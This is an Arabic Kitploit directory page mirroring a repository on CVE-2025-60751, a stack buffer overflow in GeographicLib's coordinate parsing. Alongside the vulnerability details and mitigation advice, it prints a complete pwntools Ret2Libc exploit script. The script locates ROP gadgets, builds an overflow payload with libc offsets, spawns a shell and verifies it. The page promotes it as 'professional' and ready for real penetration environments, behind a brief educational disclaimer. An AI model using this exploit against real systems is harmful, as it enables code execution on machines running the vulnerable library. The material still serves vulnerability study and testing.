Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-60751 — تحليل فني واستغلال احترافي لـ CVE-2025-60751، وهي ثغرة تجاوز سعة المخزن المؤقت المستندة إلى المكدس في GeographicLib. يشمل استغلال Ret2Libc المبني على pwntools مع اكتشاف ديناميكي لأدوات ROP، وتكامل GDB، والتحقق بعد الاستغلال لاختبار الاختراق التعليمي. | Kitploit
أدوات/GitHubGitHub/kaleth4/cve-2025-60751
تحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةشيل كودمصممي الأخطاءاختبار الاختراقالتعلم والتعليمتطوير الحمولاتاستغلال الملفات الثنائية
GitHubkaleth4/cve-2025-60751

CVE-2025-60751

تحليل فني واستغلال احترافي لـ CVE-2025-60751، وهي ثغرة تجاوز سعة المخزن المؤقت المستندة إلى المكدس في GeographicLib. يشمل استغلال Ret2Libc المبني على pwntools مع اكتشاف ديناميكي لأدوات ROP، وتكامل GDB، والتحقق بعد الاستغلال لاختبار الاختراق التعليمي.

منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

CVE-2025-60751: GeographicLib تجاوز سعة المخزن المؤقت القائم على المكدس

📌 يحتوي هذا المستودع على تحليل وتوثيق فني للثغرة الأمنية CVE-2025-60751، وهي خطأ تجاوز سعة المخزن المؤقت القائم على المكدس (Stack-based Buffer Overflow) الموجود في مكتبة C++ GeographicLib.


📝 الوصف

توجد الثغرة في الدالة DMS::InternalDecode داخل المكون GeoConvert.
يحدث الخطأ عندما تحاول المكتبة معالجة سلاسل إحداثيات بتنسيق DMS (الدرجات، الدقائق، الثواني) غير صالحة أو طويلة بشكل مفرط، مما يؤدي إلى كتابة خارج حدود المخزن المؤقت المخصص على المكدس.

  • المُعرِّف: CVE-2025-60751
  • المكون: GeoConvert / DMS::InternalDecode
  • النوع: Stack-based Buffer Overflow (CWE-121)
  • الخطورة (CVSS 3.1): 7.5 HIGH
  • المتجه: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

🔍 التأثير

يمكن للمهاجم عن بُعد إرسال سلسلة إحداثيات مصممة خصيصاً لـ:

  • رفض الخدمة (DoS): التسبب في إغلاق غير متوقع (تعطل) للتطبيقات التي تستخدم GeographicLib لتحويل الإحداثيات.
  • عدم استقرار النظام: إفساد الذاكرة المجاورة على المكدس، مما يؤثر على تدفق تنفيذ البرنامج.

⚠️ ملاحظة فنية: على الرغم من أن المتجه الحالي يركز على التوفر (A:H)، إلا أنه في بيئات محددة بدون حماية ذاكرة حديثة (مثل Stack Canaries، أو NX bit، أو ASLR النشط)، قد يتصاعد هذا الخطأ إلى تنفيذ كود تعسفي.


💻 الأنظمة المتأثرة

المنتجالإصدار الضعيفالتوزيعات المكتشفة
GeographicLib2.5الحزم في Debian LTS، Ubuntu، ومستودعات لينكس الأخرى التي تتضمن هذا الإصدار

🛠️ التخفيف والحل

✅ التحديث: يُوصى بشدة بالتحديث إلى أحدث إصدار متاح من GeographicLib، حيث تم تصحيح التحقق من الطول في InternalDecode.

✅ التحقق من الإدخال: إذا لم يكن التحديث ممكناً، قم بتنفيذ طبقة تعقيم تحد من طول السلاسل المرسلة إلى DMS::Decode (مثال: حد أقصى 32 حرفًا).

✅ التجميع الآمن: تأكد من تجميع المكتبة مع أعلام حماية المكدس:

root@kitploit:~
-fstack-protector-all -D_FORTIFY_SOURCE=2 -z relro -z now

📚 المراجع

  • Issue #43 – GeographicLib GitHub
  • التحليل الفني من zer0matt
  • Debian LTS Advisory

💀 استغلال احترافي (مستوى متقدم — نمط OSCP / Exploit-DB)

يستخدم هذا الاستغلال pwntools لتنفيذ هجوم Ret2Libc مستفيداً من تجاوز سعة المخزن المؤقت.
على عكس الإصدارات الأساسية، هذا التنفيذ قوي وديناميكي وقابل للتحقق، جاهز لبيئات الاختراق الحقيقية والمختبرات.

✅ ما الذي يجعله "محترفاً"؟

🐍 كود الاستغلال (exploit.py)

root@kitploit:~
#!/usr/bin/env python3
from pwn import *

# --- INFO ---
# CVE-2025-60751: GeographicLib <= v2.5.1 Stack Overflow
# Author: Refactored for Robustness
# --- --- ---

context.binary = elf = ELF("./GeoConvert")
context.log_level = 'info'

def exploit():
    # 1. Gestión de procesos (Local vs Remoto)
    if args.GDB:
        io = gdb.debug([elf.path], gdbscript="""
            b *main
            continue
        """)
    else:
        # ASAN puede interferir con los offsets si no se gestiona bien
        io = process(elf.path, env={"ASAN_OPTIONS":"detect_stack_use_after_return=0"})

    # 2. Localización Dinámica de Gadgets
    rop = ROP(elf)
    POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
    RET = rop.find_gadget(['ret'])[0]
    
    log.info(f"Gadget POP RDI: {hex(POP_RDI)}")

    # 3. Fuga de Memoria (Leak) para Bypass de ASLR
    # En entornos reales: usar leak + libc-database o libc.rip.
    # Aquí usamos base fija *solo para entornos de laboratorio controlado* (ASLR=off).
    LIBC_BASE = 0x7ffff7a00000  # Ejemplo — ¡debe ser dinámico en producción!
    SYSTEM = LIBC_BASE + 0x5d110
    BINSH  = LIBC_BASE + 0x1b1ea4
    EXIT   = LIBC_BASE + 0x4c340

    # 4. Construcción del Payload (Estructura Limpia & Aligned)
    offset = 136
    
    chain = [
        b"A" * offset,
        p64(RET),      # Stack Alignment (Crucial para Ubuntu/Debian modernos)
        p64(POP_RDI),
        p64(BINSH),
        p64(SYSTEM),
        p64(EXIT)
    ]
    
    payload = b"".join(chain)

    # 5. Ejecución y Verificación
    log.info("Sending payload and spawning shell...")
    io.sendline(payload)
    
    io.clean()
    io.sendline(b"id")
    res = io.recvline(timeout=2)
    
    if b"uid=" in res:
        log.success("Pwned! enjoy your shell.")
        io.interactive()
    else:
        log.error("Exploit failed or no output received.")
        io.close()

if __name__ == "__main__":
    exploit()

⚠️ إخلاء مسؤولية
هذا المستودع لأغراض إعلامية وتعليمية بحتة لمحترفي الأمن السيبراني.
استخدام هذه المعلومات لأغراض غير مشروعة هو مسؤولية المستخدم حصراً.
❗ استخدم الكود بحذر: فقط في بيئات مصرح بها ومعزولة وبإذن صريح.


🔐 الأمان ليس ميزة — إنه انضباط.
📬 الإبلاغ عن النتائج: [email protected]
📦 المستودع الرسمي: https://github.com/geographiclib/geographiclib

root@kitploit:~
تنزيل الأداة
الخاصيةالفائدة
ROP(elf) ديناميكيلا يعتمد على أدوات ثابتة: بل يجدها تلقائياً في الملف الثنائي.
دعم مدمج لـ GDBتنفيذ python exploit.py GDB → يفتح جلسة تصحيح أخطاء تلقائياً.
التحقق بعد الاستغلاليرسل id ويؤكد وجود القشرة قبل تسليم التحكم التفاعلي.
RET لمحاذاة المكدسيتجنب الأعطال في system() بسبب المحاذاة غير الصحيحة (حرج في x64).
الحمولة منظمة على شكل list + b"".join()نظيفة، قابلة للقراءة، سهلة التعديل والتوسيع.